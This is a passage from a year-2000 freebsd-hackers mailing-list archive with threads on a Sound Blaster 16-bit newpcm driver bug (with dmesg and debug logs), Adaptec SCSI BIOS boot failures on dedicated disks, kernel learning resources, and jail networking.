XXX.ÿÿÿÿ....ÿÿÿÿ 0000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ (I didn't know that speech recognition for source code works that well. :-) I compiled a kernel with debugging (DEB) for newpcm enabled (it surely hasn't been tested on 4.1 before) and did the following commands: 43 2:26 mixer ; mixer recsrc 44 2:27 mixer mic 100 45 2:27 cat /dev/dsp > dsp.cat 46 2:27 cat > /dev/dsp < dsp.cat 47 2:27 cat /dev/dspW > dspW.cat 48 2:27 cat > /dev/dspW < dspW.cat 2:33 axion: /big/re-work/video 0% cat /dev/sndstat FreeBSD Audio Driver (newpcm) Oct 23 2000 02:19:35 Installed devices: pcm0: at io 0x220 irq 5 drq 1:5 (1p/1r channels duplex) A beautified dmesg-output is appended below. I hope, some kind soul can tell me what I can try to get 16bit sound working again. Regards, Robert 8<---8<---8<------------------------------------------------------------------- Oct 23 02:25:38 axion /kernel: ... : Copyright (c) 1992-2000 The FreeBSD Project. : Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 : The Regents of the University of California. All rights reserved. : FreeBSD 4.1-RELEASE #1: Mon Oct 23 02:19:35 CEST 2000 : root@axion:/usr/src/sys/compile/AXION2 : Timecounter "i8254" frequency 1193182 Hz : CPU: Pentium III/Pentium III Xeon/Celeron (751.71-MHz 686-class CPU) : Origin = "GenuineIntel" Id = 0x681 Stepping = 1 : Features=0x383f9ff : real memory = 268419072 (262128K bytes) : avail memory = 256987136 (250964K bytes) : Preloaded elf kernel "kernel" at 0xc03f2000. : VESA: v2.0, 16384k memory, flags:0x1, mode table:0xc00c6974 (c0006974) : VESA: Matrox Graphics Inc. : ccd0-3: Concatenated disk drivers : Pentium Pro MTRR support enabled : npx0: on motherboard : npx0: INT 16 interface : apm0: on motherboard : apm: found APM BIOS v1.2, connected at v1.2 : pcib0: on motherboard : pci0: on pcib0 : pcib1: at device 1.0 on pci0 : pci1: on pcib1 : pci1: at 0.0 irq 9 : isab0: at device 4.0 on pci0 : isa0: on isab0 : atapci0: port 0xd800-0xd80f at device 4.1 on pci0 : ata0: at 0x1f0 irq 14 on atapci0 : ata1: at 0x170 irq 15 on atapci0 : uhci0: port 0xd400-0xd41f irq 10 at device 4.2 on pci0 : usb0: on uhci0 : usb0: USB revision 1.0 : uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 : uhub0: 2 ports with 2 removable, self powered : uhub0: port 1 power on failed, IOERROR : uhub0: port 2 power on failed, IOERROR : uhub1: ALCOR Generic USB Hub, class 9/0, rev 1.10/1.00, addr 2 : uhub1: 4 ports with 4 removable, self powered : intpm0: port 0xe800-0xe80f irq 9 at device 4.3 on pci0 : intpm0: I/O mapped e800 : intpm0: intr IRQ 9 enabled revision 0 : smbus0: on intsmb0 : smb0: on smbus0 : intpm0: PM I/O mapped e400 : de0: port 0xd000-0xd07f mem 0xe1000000-0xe100007f irq 10 at device 9.0 on pci0 : de0: Cogent 21040 [10Mb/s] pass 2.4 : de0: address 00:00:92:b6:0d:0f : bktr0: mem 0xe3000000-0xe3000fff irq 10 at device 10.0 on pci0 : iicbb0: on bti2c0 : iicbus0: on iicbb0 master-only : smbus1: on bti2c0 : smb1: on smbus1 : bktr0: Hauppauge Model 60104 A1VM : bktr0: Detected a MSP3400C-C6 at 0x80 : Hauppauge WinCast/TV, Philips PAL I tuner, msp3400c stereo. : ahc0: port 0xb800-0xb8ff mem 0xe0800000-0xe0800fff irq 11 at device 11.0 on pci0 : ahc0: aic7870 Single Channel A, SCSI Id=7, 16/255 SCBs : isa0: unexpected small tag 0 Oct 23 02:25:38 axion last message repeated 6 times : isa0: unexpected small tag 1 : atkbdc0: at port 0x60,0x64 on isa0 : atkbd0: irq 1 on atkbdc0 : psm0: irq 12 on atkbdc0 : psm0: model Generic PS/2 mouse, device ID 0 : vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 : sc0: on isa0 : sc0: VGA <12 virtual consoles, flags=0x200> : fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 : fdc0: FIFO enabled, 8 bytes threshold : fd0: <1440-KB 3.5" drive> on fdc0 drive 0 : sio0 at port 0x3f8-0x3ff irq 4 flags 0x20010 on isa0 : sio0: type ST16650A : sio1 at port 0x2f8-0x2ff irq 3 flags 0x20000 on isa0 : sio1: type ST16650A : pca0 at port 0x40 on isa0 : joy0 at port 0x201 on isa0 : ppc0: at port 0x378-0x37f irq 7 on isa0 : ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode : ppc0: FIFO with 16/16/9 bytes threshold : ppbus0: IEEE1284 device found /NIBBLE/ECP : Probing for PnP devices on ppbus0: : ppbus0: PRINTER MLC,PCL,PJL : ppi0: on ppbus0 : lpt0: on ppbus0 : lpt0: Interrupt-driven port : plip0: on ppbus0 : sbc1: at port 0x220-0x22f irq 5 drq 1,5 on isa0 : sbc1: setting card to irq 5, drq 1, 5 : pcm0: on sbc1 : ch_bits dev 0 ch 0 val 75 old 0xc0 r 48 p 0 bit 5 off 3 : ch_bits dev 0 ch 1 val 75 old 0xc0 r 49 p 0 bit 5 off 3 : ch_bits dev 1 ch 0 val 50 old 0x80 r 70 p 0 bit 4 off 4 : ch_bits dev 1 ch 1 val 50 old 0x80 r 71 p 0 bit 4 off 4 : ch_bits dev 2 ch 0 val 50 old 0x80 r 68 p 0 bit 4 off 4 : ch_bits dev 2 ch 1 val 50 old 0x80 r 69 p 0 bit 4 off 4 : ch_bits dev 3 ch 0 val 75 old 0xc0 r 52 p 0 bit 5 off 3 : ch_bits dev 3 ch 1 val 75 old 0xc0 r 53 p 0 bit 5 off 3 : ch_bits dev 4 ch 0 val 75 old 0xc0 r 50 p 0 bit 5 off 3 : ch_bits dev 4 ch 1 val 75 old 0xc0 r 51 p 0 bit 5 off 3 : ch_bits dev 5 ch 0 val 75 old 0xa0 r 59 p 0 bit 2 off 6 : ch_bits dev 6 ch 0 val 75 old 0x00 r 56 p 0 bit 5 off 3 : ch_bits dev 6 ch 1 val 75 old 0x00 r 57 p 0 bit 5 off 3 : ch_bits dev 7 ch 0 val 0 old 0x00 r 58 p 0 bit 5 off 3 : ch_bits dev 8 ch 0 val 75 old 0x00 r 54 p 0 bit 5 off 3 : ch_bits dev 8 ch 1 val 75 old 0x00 r 55 p 0 bit 5 off 3 : unknown: can't assign resources : unknown0: on isa0 : unknown: can't assign resources : ad0: 14649MB [29765/16/63] at ata0-master using UDMA33 : ad1: 14664MB [29795/16/63] at ata0-slave using UDMA33 : ad2: 14649MB [29765/16/63] at ata1-master using UDMA33 : Waiting 5 seconds for SCSI devices to settle : de0: enabling 10baseT port : Mounting root from ufs:/dev/ad0s2a : vinum: loaded : vinum: reading configuration from /dev/ad2s2g : vinum: updating configuration from /dev/ad2s2f : vinum: updating configuration from /dev/ad0s2g : vinum: updating configuration from /dev/ad0s2f : cd0 at ahc0 bus 0 target 4 lun 0 : cd0: Removable CD-ROM SCSI-2 device : cd0: 10.000MB/s transfers (10.000MHz, offset 8) : cd0: cd present [329507 x 2048 byte records] Oct 23 02:25:39 axion mountd[135]: can't change attributes for /cdrom1 Oct 23 02:25:39 axion mountd[135]: bad exports list line /cdrom1 Oct 23 02:25:39 axion lpd[183]: restarted : /dev/vmmon: Module vmmon: registered with major=200 minor=0 tag=$Name: build-438 $ : /dev/vmmon: Module vmmon: initialized : vmnet1: not multicast capable, IPv6 not enabled : cd1 at ahc0 bus 0 target 5 lun 0 : cd1: Removable CD-ROM SCSI-2 device : cd1: 8.333MB/s transfers (8.333MHz, offset 15) : cd1: cd present [328409 x 2048 byte records] Oct 23 02:26:00 axion su: roberte to root on /dev/ttyp4 : open snd0 subdev 0 flags 0x00000003 mode 0x00002000 : close snd0 subdev 0 : open snd0 subdev 0 flags 0x00000003 mode 0x00002000 : close snd0 subdev 0 : open snd0 subdev 0 flags 0x00000003 mode 0x00002000 : ch_bits dev 7 ch 0 val 100 old 0x00 r 58 p 0 bit 5 off 3 : close snd0 subdev 0 : open snd0 subdev 3 flags 0x00000001 mode 0x00002000 : read snd0 subdev 3 flag 0x00020000 : rdintr: start dl 0, rp:rl 0:0, fp:fl 0:8192 : buf 0x0xc11a8f40 ISA DMA started : rdintr: start dl 2048, rp:rl 1968:80, fp:fl 2048:8112 : rdintr: start dl 2048, rp:rl 4052:44, fp:fl 4096:8148 : rdintr: start dl 2048, rp:rl 6132:12, fp:fl 6144:8180 : rdintr: start dl 2048, rp:rl 8132:60, fp:fl 0:8132 : read snd0 subdev 3 flag 0x00030000 : rdintr: start dl 2048, rp:rl 2020:28, fp:fl 2048:8164 : rdintr: start dl 2048, rp:rl 4020:76, fp:fl 4096:8116 : rdintr: start dl 2048, rp:rl 6100:44, fp:fl 6144:8148 : rdintr: start dl 2048, rp:rl 8180:12, fp:fl 0:8180 : read snd0 subdev 3 flag 0x00040000 : rdintr: start dl 2048, rp:rl 1988:60, fp:fl 2048:8132 : rdintr: start dl 2048, rp:rl 4072:24, fp:fl 4096:8168 : rdintr: start dl 2048, rp:rl 6072:72, fp:fl 6144:8120 : rdintr: start dl 2048, rp:rl 8152:40, fp:fl 0:8152 : read snd0 subdev 3 flag 0x00050000 : rdintr: start dl 2048, rp:rl 2040:8, fp:fl 2048:8184 : rdintr: start dl 2048, rp:rl 4040:56, fp:fl 4096:8136 : close snd0 subdev 3 : buf 0x0xc11a8f40 ISA DMA stopped : open snd0 subdev 3 flags 0x00000402 mode 0x00002000 : default ioctl chan0 fn 0x402c7413 fail : default ioctl chan0 fn 0x402c7413 fail : write snd0 subdev 3 flag 0x00020001 : buf 0x0xc118a040 ISA DMA started : write snd0 subdev 3 flag 0x00030001 : write snd0 subdev 3 flag 0x00040001 : write snd0 subdev 3 flag 0x00050001 : write snd0 subdev 3 flag 0x00060001 : write snd0 subdev 3 flag 0x00070001 : write snd0 subdev 3 flag 0x00080001 : write snd0 subdev 3 flag 0x00090001 : write snd0 subdev 3 flag 0x000a0001 : write snd0 subdev 3 flag 0x000b0001 : write snd0 subdev 3 flag 0x000c0001 : write snd0 subdev 3 flag 0x000d0001 : write snd0 subdev 3 flag 0x000e0001 : write snd0 subdev 3 flag 0x000f0001 : write snd0 subdev 3 flag 0x00100001 : write snd0 subdev 3 flag 0x00110001 : write snd0 subdev 3 flag 0x00120001 : write snd0 subdev 3 flag 0x00130001 : write snd0 subdev 3 flag 0x00140001 : write snd0 subdev 3 flag 0x00150001 : write snd0 subdev 3 flag 0x00160001 : write snd0 subdev 3 flag 0x00170001 : write snd0 subdev 3 flag 0x00180001 : write snd0 subdev 3 flag 0x00190001 : close snd0 subdev 3 : chn_flush c->flags 0x00001030 : chn_flush: now rl = 6144, fl = 2048 Oct 23 02:27:20 axion last message repeated 31 times : chn_flush: now rl = 6140, fl = 2052 : chn_flush: now rl = 4092, fl = 4100 : near underflow (2044 < 2048), 6148 : chn_flush: now rl = 2040, fl = 6152 : OUCH!(2) rl -4(2040) delta 2044 bufsize 8192 hwptr 4 rp 4(6152) : near underflow (-4 < 2048), 8196 : OUCH!(3) rl -8(-4) delta 4 bufsize 8192 hwptr 8 rp 8(4) : chn_flush: now rl = -8, fl = 8200 : buf 0x0xc118a040 ISA DMA stopped : OUCH!(4) rl -8192(-8) delta 8184 bufsize 8192 hwptr 0 rp 0(8) : open snd0 subdev 5 flags 0x00000001 mode 0x00002000 : read snd0 subdev 5 flag 0x00020000 : rdintr: start dl 0, rp:rl 0:0, fp:fl 0:8192 : buf 0x0xc11a8f40 ISA DMA started : rdintr: start dl 2048, rp:rl 1916:132, fp:fl 2048:8060 : rdintr: start dl 2048, rp:rl 3996:100, fp:fl 4096:8092 : rdintr: start dl 2048, rp:rl 6076:68, fp:fl 6144:8124 : rdintr: start dl 2048, rp:rl 8156:36, fp:fl 0:8156 : read snd0 subdev 5 flag 0x00030000 : rdintr: start dl 2048, rp:rl 2044:4, fp:fl 2048:8188 : rdintr: start dl 2048, rp:rl 3968:128, fp:fl 4096:8064 : rdintr: start dl 2048, rp:rl 6048:96, fp:fl 6144:8096 : rdintr: start dl 2048, rp:rl 8128:64, fp:fl 0:8128 : read snd0 subdev 5 flag 0x00040000 : rdintr: start dl 2048, rp:rl 2016:32, fp:fl 2048:8160 : rdintr: start dl 2048, rp:rl 3936:160, fp:fl 4096:8032 : rdintr: start dl 2048, rp:rl 6016:128, fp:fl 6144:8064 : rdintr: start dl 2048, rp:rl 8096:96, fp:fl 0:8096 : read snd0 subdev 5 flag 0x00050000 : rdintr: start dl 2048, rp:rl 1984:64, fp:fl 2048:8128 : rdintr: start dl 2048, rp:rl 4068:28, fp:fl 4096:8164 : rdintr: start dl 2048, rp:rl 5988:156, fp:fl 6144:8036 : rdintr: start dl 2048, rp:rl 8068:124, fp:fl 0:8068 : read snd0 subdev 5 flag 0x00060000 : rdintr: start dl 2048, rp:rl 1956:92, fp:fl 2048:8100 : rdintr: start dl 2048, rp:rl 4036:60, fp:fl 4096:8132 : rdintr: start dl 2048, rp:rl 6116:28, fp:fl 6144:8164 : rdintr: start dl 2048, rp:rl 8036:156, fp:fl 0:8036 : read snd0 subdev 5 flag 0x00070000 : rdintr: start dl 2048, rp:rl 1924:124, fp:fl 2048:8068 : rdintr: start dl 2048, rp:rl 4008:88, fp:fl 4096:8104 : rdintr: start dl 2048, rp:rl 6088:56, fp:fl 6144:8136 : rdintr: start dl 2048, rp:rl 8168:24, fp:fl 0:8168 : read snd0 subdev 5 flag 0x00080000 : close snd0 subdev 5 : rdintr: start dl 2048, rp:rl 1096:952, fp:fl 2048:7240 : buf 0x0xc11a8f40 ISA DMA stopped : buf 0x0xc11a8f40 ISA DMA stopped : open snd0 subdev 5 flags 0x00000402 mode 0x00002000 : default ioctl chan0 fn 0x402c7413 fail : default ioctl chan0 fn 0x402c7413 fail : write snd0 subdev 5 flag 0x00020001 : underflow, flags 0x00001012 rp 0 rl 1024 : write snd0 subdev 5 flag 0x00030001 : buf 0x0xc118a040 ISA DMA started : write snd0 subdev 5 flag 0x00040001 : write snd0 subdev 5 flag 0x00050001 : write snd0 subdev 5 flag 0x00060001 : write snd0 subdev 5 flag 0x00070001 : write snd0 subdev 5 flag 0x00080001 : write snd0 subdev 5 flag 0x00090001 : write snd0 subdev 5 flag 0x000a0001 : write snd0 subdev 5 flag 0x000b0001 : write snd0 subdev 5 flag 0x000c0001 : write snd0 subdev 5 flag 0x000d0001 : write snd0 subdev 5 flag 0x000e0001 : write snd0 subdev 5 flag 0x000f0001 : write snd0 subdev 5 flag 0x00100001 : write snd0 subdev 5 flag 0x00110001 : write snd0 subdev 5 flag 0x00120001 : write snd0 subdev 5 flag 0x00130001 : write snd0 subdev 5 flag 0x00140001 : write snd0 subdev 5 flag 0x00150001 : write snd0 subdev 5 flag 0x00160001 : write snd0 subdev 5 flag 0x00170001 : write snd0 subdev 5 flag 0x00180001 : write snd0 subdev 5 flag 0x00190001 : write snd0 subdev 5 flag 0x001a0001 : write snd0 subdev 5 flag 0x001b0001 : write snd0 subdev 5 flag 0x001c0001 : write snd0 subdev 5 flag 0x001d0001 : write snd0 subdev 5 flag 0x001e0001 : write snd0 subdev 5 flag 0x001f0001 : write snd0 subdev 5 flag 0x00200001 : write snd0 subdev 5 flag 0x00210001 : write snd0 subdev 5 flag 0x00220001 : write snd0 subdev 5 flag 0x00230001 : write snd0 subdev 5 flag 0x00240001 : write snd0 subdev 5 flag 0x00250001 : write snd0 subdev 5 flag 0x00260001 : write snd0 subdev 5 flag 0x00270001 : write snd0 subdev 5 flag 0x00280001 : write snd0 subdev 5 flag 0x00290001 : write snd0 subdev 5 flag 0x002a0001 : write snd0 subdev 5 flag 0x002b0001 : write snd0 subdev 5 flag 0x002c0001 : write snd0 subdev 5 flag 0x002d0001 : write snd0 subdev 5 flag 0x002e0001 : write snd0 subdev 5 flag 0x002f0001 : write snd0 subdev 5 flag 0x00300001 : write snd0 subdev 5 flag 0x00310001 : close snd0 subdev 5 : chn_flush c->flags 0x00001030 : chn_flush: now rl = 6540, fl = 1652 : chn_flush: now rl = 7796, fl = 396 : chn_flush: now rl = 6272, fl = 1920 : chn_flush: now rl = 7668, fl = 524 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7700, fl = 492 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7732, fl = 460 : chn_flush: now rl = 6272, fl = 1920 : chn_flush: now rl = 7604, fl = 588 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7636, fl = 556 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7668, fl = 524 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7700, fl = 492 : chn_flush: now rl = 6108, fl = 2084 : chn_flush: now rl = 7736, fl = 456 : chn_flush: now rl = 6272, fl = 1920 : chn_flush: now rl = 7608, fl = 584 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7640, fl = 552 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7672, fl = 520 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7704, fl = 488 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7736, fl = 456 : chn_flush: now rl = 6272, fl = 1920 : chn_flush: now rl = 7608, fl = 584 : chn_flush: now rl = 6108, fl = 2084 : chn_flush: now rl = 7644, fl = 548 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7676, fl = 516 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7708, fl = 484 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 7740, fl = 452 : chn_flush: now rl = 6272, fl = 1920 : chn_flush: now rl = 7612, fl = 580 : chn_flush: now rl = 6112, fl = 2080 : chn_flush: now rl = 6144, fl = 2048 : chn_flush: now rl = 4612, fl = 3580 : chn_flush: now rl = 4096, fl = 4096 : chn_flush: now rl = 2532, fl = 5660 : chn_flush: now rl = 2048, fl = 6144 : chn_flush: now rl = 448, fl = 7744 : near underflow (0 < 2048), 8192 : OUCH!(5) rl -4(0) delta 4 bufsize 8192 hwptr 4 rp 4(0) : chn_flush: now rl = -4, fl = 8196 : buf 0x0xc118a040 ISA DMA stopped : OUCH!(6) rl -8192(-4) delta 8188 bufsize 8192 hwptr 0 rp 0(4) 8<---8<---8<------------------------------------------------------------------- The audio part from my kernel config file: # # Audio drivers: `snd', `sb', `pas', `gus', `pca' # # options BROKEN_BUS_CLOCK #PAS-16 isn't working and OPTI chipset # The newpcm driver (use INSTEAD of snd0 and all VOXWARE drivers!). # Note that motherboard sound devices may require options PNPBIOS. # # Supported cards include: # Creative SoundBlaster ISA PnP/non-PnP # Supports ESS and Avance ISA chips as well. # Gravis UltraSound ISA PnP/non-PnP # Crystal Semiconductor CS461x/428x PCI # Neomagic 256AV (ac97) # Most of the more common ISA/PnP sb/mss/ess compatable cards. # For non-pnp sound cards with no bridge drivers only: #device pcm0 at isa? irq 5 drq 1 flags 0x0 # # For PnP/PCI sound cards device pcm device sbc0 at isa? port 0x220 irq 5 drq 1 flags 0x15 # Not controlled by `snd' device pca0 at isa? port IO_TIMER1 -- Dr. Robert Eckardt Robert.Eckardt@Robert-Eckardt.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 16: 7:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id 0272437B4CF; Mon, 30 Oct 2000 16:06:58 -0800 (PST) Received: by gatekeeper.veriohosting.com; Mon, 30 Oct 2000 17:06:57 -0700 (MST) Received: from unknown(192.168.1.7) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma008986; Mon, 30 Oct 00 17:06:53 -0700 Received: from vespa.orem.iserver.com (vespa.orem.iserver.com [192.168.1.144]) by orca.orem.veriohosting.com [Verio Web Hosting, Inc. 801.437.0200] (8.8.8) id RAA57180; Mon, 30 Oct 2000 17:06:53 -0700 (MST) Date: Mon, 30 Oct 2000 17:23:44 -0700 (MST) From: Fred Clift X-Sender: fred@vespa.orem.iserver.com To: Doug White Cc: Paul Saab , Mike Smith , freebsd-stable@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux hardware In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've messed with these a lot and I'm pretty sure that the bios is trying to be 'compatible' with the geometry information it finds on the disk, Theoretically, if you set up a disk with one brand X disk controller, you'll get a different fake CHS mapping than you would with a brand Y controller. So, say you set up a machine and fdisk/label all your disks, then your controller dies, you go to the store and find that no identical one is available, you buy another one because you're uh, under pressure to get the machine working. With older controllers, things may not work right if the geometry was different than expected on the disk. So, theoretically a controller could read the geometry it finds there and then use whatever it finds as the right mapping. I think where the motherboard you mention gets hosed is when it tries to read the geometry and finds the bogus boot1 stuff there. Shrug. For me, I didn't even need 2 disks to make it fail -- single disk, and you cant even boot a floppy (or the disk) when it finds a partition table. I'll definitely switch to non-dangerous installs if/when the patch that was posted gets put in. In fact, I'll probably start using it anyway :) Fred > The Adaptec BIOS is doing something really fugly when it doesn't find > proper partition tables on the disks. > > It does it if ANY of the disks are done 'dangerously dedicated.' > > The easy solution: always put proper partitions on your disks. > The hard solution: figure out what nastiness Adaptec is doing and slap > their hand. -- Fred Clift - fclift@verio.net -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 16:17:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id 23EF737B4C5; Mon, 30 Oct 2000 16:17:47 -0800 (PST) Received: by gatekeeper.veriohosting.com; Mon, 30 Oct 2000 17:17:43 -0700 (MST) Received: from unknown(192.168.1.7) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma010993; Mon, 30 Oct 00 17:17:34 -0700 Received: from vespa.orem.iserver.com (vespa.orem.iserver.com [192.168.1.144]) by orca.orem.veriohosting.com [Verio Web Hosting, Inc. 801.437.0200] (8.8.8) id RAA58190; Mon, 30 Oct 2000 17:17:34 -0700 (MST) Date: Mon, 30 Oct 2000 17:34:25 -0700 (MST) From: Fred Clift X-Sender: fred@vespa.orem.iserver.com To: John Baldwin Cc: Fred Clift , hackers@FreeBSD.ORG, hackers@FreeBSD.ORG, "freebsd-stable@FreeBSD.ORG" , Terry Lambert , Matt Dillon , Robert Nordier Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Well, for one thing, 99% of the PC architecture assumes that the first > track is reserved for the MBR so to speak, so putting boot1 in the MBR > is already bogus. but boot one replaces the MBR with better code and an fdisk table. It does it have a 'bogus' fdisk table in it already. The only real problems are that if you have other oses on the disk, then they can get confused -- for instance microsoft OSes put their secondary loader followed by the fat and all that crap. The whole point of a dedicated install is that, by definition, I dont want/have any other os on the disk. So, I have a valid fdisk table (writing over the bogus one in boot1) and bioses are happy. Yet, my 'customized' boot code in boot1 that replaces the mbr boots FreeBSD instead. I haven't yet seen bioses that choke if you dont have a fat/fat32 filesystem inside your active partition, though I hear Itanium will carry that brokenness one step forward. So, in short, if I dont have 'lesser' oses on the disk, a 'fixed' boot1 should be just fine. > The reason it is bogus is to work around disk geometry pain as I > mentioned in my previous e-mail to Matt. The only thing you can > change is the size of the last slice, but my guess is that that won't > fix the problem that the SCSI BIOS's have, but that instead the hack > that we use boot1 as an MBR for (having the slice start at 0/0/1) is > what is causing the BIOS to choke. Actually, it perfectly solves the problems I have with the adaptec scsi bios as found in the VAlinux boxes, among others (wyle, gateway, sgi all use the same motherboard in 2U servers, and all exhibit the identical problem...) At any rate, I'll move our install stuff over to use the patches that will hopefully be accpeted posted earlier in this thread. Fred -- Fred Clift - fclift@verio.net -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 17:11:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from riot.yi.org (200-191-83-200-as.acessonet.com.br [200.191.83.200]) by hub.freebsd.org (Postfix) with ESMTP id 012B237B479 for ; Mon, 30 Oct 2000 17:11:32 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by riot.yi.org (8.11.0/8.10.2) with ESMTP id e9V17mg01036; Mon, 30 Oct 2000 23:07:48 -0200 Date: Mon, 30 Oct 2000 23:07:48 -0200 (BRST) From: Giovanni P Tirloni X-Sender: riot@riot.yi.org To: qianfeng Cc: "'freebsd-hackers@freebsd.org'" Subject: Re: Kernel tutorials In-Reply-To: <83269C6B5F0BD411B4590004AC56C6400164E0@NT7000M10> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, There are a lot of information about FreeBSD in the Handbook (http://www.freebsd.org/handbook), But if you want to have a deep look into the kernel (BSD in general) you may buy this book: The Design and Implementation of the 4.4BSD Operating System ISBN 0-201-54979-4 , 580 pages BTW, what about that new version covering the FreeBSD's kernel in specific ? On Mon, 30 Oct 2000, qianfeng wrote: > Hi,everybody, > I am a newbie to the FreeBSD, so I just wander where can I find > some kernel tutorials on the internet. > Thanks for your help! > > Qian Feng > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > Giovanni P. Tirloni riot@techie.com Everyone is born unique, but so many die as copies. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 18:32:34 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from citusc17.usc.edu (citusc17.usc.edu [128.125.38.177]) by hub.freebsd.org (Postfix) with ESMTP id 115AE37B4CF; Mon, 30 Oct 2000 18:32:32 -0800 (PST) Received: (from kris@localhost) by citusc17.usc.edu (8.11.1/8.11.1) id e9V2YYh15864; Mon, 30 Oct 2000 18:34:34 -0800 (PST) (envelope-from kris) Date: Mon, 30 Oct 2000 18:34:34 -0800 From: Kris Kennaway To: Robert Eckardt Cc: hackers@FreeBSD.ORG, cg@FreeBSD.ORG Subject: Re: No 16bit mode with newpcm for Soundblaster Creative Vibra 16C Message-ID: <20001030183434.B15826@citusc17.usc.edu> References: <200010302203.XAA01037@aranea.de> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="DKU6Jbt7q3WqK7+M" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200010302203.XAA01037@aranea.de>; from Robert.Eckardt@aranea.de on Mon, Oct 30, 2000 at 11:03:49PM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --DKU6Jbt7q3WqK7+M Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Oct 30, 2000 at 11:03:49PM +0100, Robert Eckardt wrote: > However, while /dev/dsp works fine for 8bit /dev/dspW doesn't work for > 16bit at all. 16bit mode gives some cracks and beeps, nothing more, as can > be seen from the following hexdumps: 16-bit recording on the SB16 is known to be broken in 4.x - a patch which claims to address this was recently checked into -current and will hopefully be backported soon. I havent had the chance to test whether it works. Kris --DKU6Jbt7q3WqK7+M Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjn+L7gACgkQWry0BWjoQKWzrQCgy0WuZN2r+k/U16TiJMbRcGPa rDsAnix2OdtsFguKn1U8vR9ZdpSRPCAK =48bB -----END PGP SIGNATURE----- --DKU6Jbt7q3WqK7+M-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 19:53:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from newmail.netbistro.com (newmail.netbistro.com [204.239.167.35]) by hub.freebsd.org (Postfix) with SMTP id 9BB2037B479 for ; Mon, 30 Oct 2000 19:53:44 -0800 (PST) Received: (qmail 11281 invoked by uid 1020); 31 Oct 2000 03:53:34 -0000 Date: Mon, 30 Oct 2000 19:53:34 -0800 (PST) From: Jon Simola X-Sender: jon@newmail.netbistro.com To: Stefan Aeschbacher Cc: hackers@freebsd.org Subject: Re: jail network problems In-Reply-To: <39FC3586.5B6426DB@aeschbacher.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 29 Oct 2000, Stefan Aeschbacher wrote: > I am running 4.1-stable updated ca 22.10.00. > I set up a jail, started it but I have no network at all. > I made an alias for the used IP address, I ran /etc/rc > with the following output: How are you starting the jail? I use this in my boot scripts (single line): /usr/sbin/jail /u2/xxx.xxx.xxx.195 some.domain.com xxx.xxx.xxx.195 /bin/sh /etc/rc > ping doesnt work from within the jail (I assume this is normal) Yep, I was looking into that and the archives revealed that it was a non-trivial fix for a minor 